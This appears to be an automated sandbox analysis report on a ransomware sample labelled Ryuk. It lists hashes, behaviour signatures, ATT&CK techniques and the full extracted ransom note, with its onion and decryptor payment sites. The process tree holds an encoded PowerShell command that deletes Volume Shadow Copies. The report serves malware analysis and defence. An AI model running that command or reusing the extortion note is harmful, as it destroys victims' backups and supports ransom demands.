Overview

overview

10

Static

static

10

ab442b4a09...9c.exe

windows7_x64

10

ab442b4a09...9c.exe

windows10_x64

10

Analysis

  • max time kernel
    143s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    24-01-2022 01:21

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General

  • Target

    ab442b4a0926187c21fb168997e308b3cc7b7a67d746a4e0b5f06ff9b7e01f9c.exe

  • Size

    115KB

  • MD5

    1d23d9fb0d282c9c72cf717178f8a308

  • SHA1

    8ea7387921a2733ed729fbf44eb390f07bfc120b

  • SHA256

    ab442b4a0926187c21fb168997e308b3cc7b7a67d746a4e0b5f06ff9b7e01f9c

  • SHA512

    016773f761aa864228b6cc5c8fcfc134ca37204aab4df0ebdcc469b01b7a344971ce1abf62746926bdd0601c71f2b57a7250a677c360e53043022ec725ed92a1

Score
10/10
ryukransomware

Malware Config

Extracted

Path

C:\35biv2-readme.txt

Family

ryuk

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension 35biv2. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. I suggest you read about us on the Internet, we are known as "Sodinokibi Ransomware". For example, this article: https://www.coveware.com/blog/2019/7/15/ransomware-amounts-rise-3x-in-q2-as-ryuk-amp-sodinokibi-spread Pay attention to that: "How Much Data Is Decrypted with a Ransomware Decryptor? In Q2 2019, victims who paid for a decryptor recovered 92% of their encrypted data. This statistic varied dramatically depending on the ransomware type. For example, Ryuk ransomware has a relatively low data recovery rate, at ~ 87%, while Sodinokibi was close to 100%. " Now you have a guarantee that your files will be returned 100 %. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/39A15D58C46BBC33 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/39A15D58C46BBC33 Warning: secondary website can be blocked, thats why first variant much better and more available. If you have problem with connect, use strictly TOR version 8.5.5 link for download TOR version 8.5.5 here: https://filehippo.com/download_tor_browser_for_windows/ When you open our website, put the following data in the input form: Key: BHjGjdqyr0RGn5nKYCaY0g3JXl+z+nzETBDpJuKTjKljw31D6BQjgjKYwond6IZR i13QHIrkoJat4Wz0ERGwD/3pOPTBS/ocZr/Lyee+LVhYrJh0tvW9aZ5pRJwecgvU BTtNorCFwwThWCVUIDihqylm7pOvcnemrbv6GTDqy4uCNM7BYZ5fIH1PjLOvjCUf gJsL/WNtCo0bKKGtcfBXSNYHY0luk83WT3YPmezCeJYxQL/uaEr7tmr8hxQ46ssQ noeh1vIEaWrrX0vtYH7DHuMOkZCZMJfG4IEYreulh2sZGzMjYTEn8XvIVBe7wrPz fi30T36team4j5O3UgmiRZv7tFbWVkA6H8nFJzUadGml4JT2Q2bGiwXAbGg3u8c4 SO0G4bBWdqMwGu33XtwK980a5YSLEIMcGn047Ix3d2EZnq2P34ljku0hCKldLoIm 36RGpWiK4PAq2o5Udrk3mBhmGOz76FrYt2FHoeOd0nm7Qc45yyuRyuWPAZjdIMvV s36EziXxoqrlqbKjfd5/OHkAwNqgFiqONgQ3bRBGehSObsMB6mDc18J6CgXkvF4/ liZjwQapRoL0mHNLLfG3MW1GKDNRCvaDEyudy+Nj7mA4gjnwfB7PUAqFBCaHBUf9 u+k3IiyFpV3fi0NaTcNCFJPvfTO81WSopE0iqFQFKVTKyMVIbYWmOQAzWwHR7OWR +8r54IKFclZEYzxSNy24xP6UdK2L21AK8ucfvKYzYBC6IG1ILNTLCQlm5GXOjZA4 Cm4Sa0dEWyzNugt+BZghmtM21YYUN2IQyj0cT1UUJQMHyQj9jlFJP8RLTE2x1e2a IQ3CYOaTznvBDcKrBYHKthEzvTTVvGGVB6G4iDfeyIwbVpo0ZE+ImCcDhY367X2Y Q6eIRW1+KQ7dsr1qCsg5ClyJML+KIExIfglJFhyUqusvwbPutUGEi/VhAny2NjdA ny/5BqrhWtxTCW9+ZRejjeE8qCpPrQaK4+Y7V5/psiL1sudxhsD/6FmguG7S6Iz1 +ZWGLAwCVq1+2lm3nypGJRlodbZDc+9BAg1jp1V7DAA0VNLFQsEli5301M2xNsti 2ZT9NqOgnVKEO6ka/fLumQBImfBFW4Lywnu9t7hR1k+rDyo8oKwFQe+5tB+Y2iwb No7tsf7keDxQAJ5Jf2NoiXMbsrWOafvS2sIgZdDVnatTB4liASbk43X1v2eo/TRi pz1Cgnsk59Lxwuao8mLJP+PKN1Q+qP5Le4yH1lW4u4YvC92ReSS5r19HqNvo1e20 mD4hH1+B0X+g69Zf/WpXBJcqtNTWw9Yw Extension name: 35biv2 ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

https://www.coveware.com/blog/2019/7/15/ransomware-amounts-rise-3x-in-q2-as-ryuk-amp-sodinokibi-spread

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/39A15D58C46BBC33

http://decryptor.cc/39A15D58C46BBC33

https://filehippo.com/download_tor_browser_for_windows/

Signatures

  • Ryuk

    Ransomware distributed via existing botnets, often Trickbot or Emotet.

    ransomwareryuk
  • Modifies extensions of user files 8 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 23 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ab442b4a0926187c21fb168997e308b3cc7b7a67d746a4e0b5f06ff9b7e01f9c.exe
    "C:\Users\Admin\AppData\Local\Temp\ab442b4a0926187c21fb168997e308b3cc7b7a67d746a4e0b5f06ff9b7e01f9c.exe"
    1⤵
    • Modifies extensions of user files
    • Enumerates connected drives
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1192
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1608
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:1664
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:2044

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Initial Access

    Execution

    Persistence

    Privilege Escalation

    Defense Evasion

    Modify Registry

    1
    T1112

    Credential Access

    Discovery

    Query Registry

    1
    T1012

    Peripheral Device Discovery

    1
    T1120

    System Information Discovery

    1
    T1082

    Lateral Movement

    Collection

    Exfiltration

    Command and Control

    Impact

    Defacement

    1
    T1491

    Replay Monitor

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    Downloads

    • memory/1192-55-0x0000000075831000-0x0000000075833000-memory.dmp
      Filesize

      8KB

      Download
    • memory/1608-56-0x000007FEFBD71000-0x000007FEFBD73000-memory.dmp
      Filesize

      8KB

      Download
    • memory/1608-58-0x0000000001BF0000-0x0000000001E20000-memory.dmp
      Filesize

      2.2MB

      Download
    • memory/1608-57-0x000007FEF2FA0000-0x000007FEF3AFD000-memory.dmp
      Filesize

      11.4MB

      Download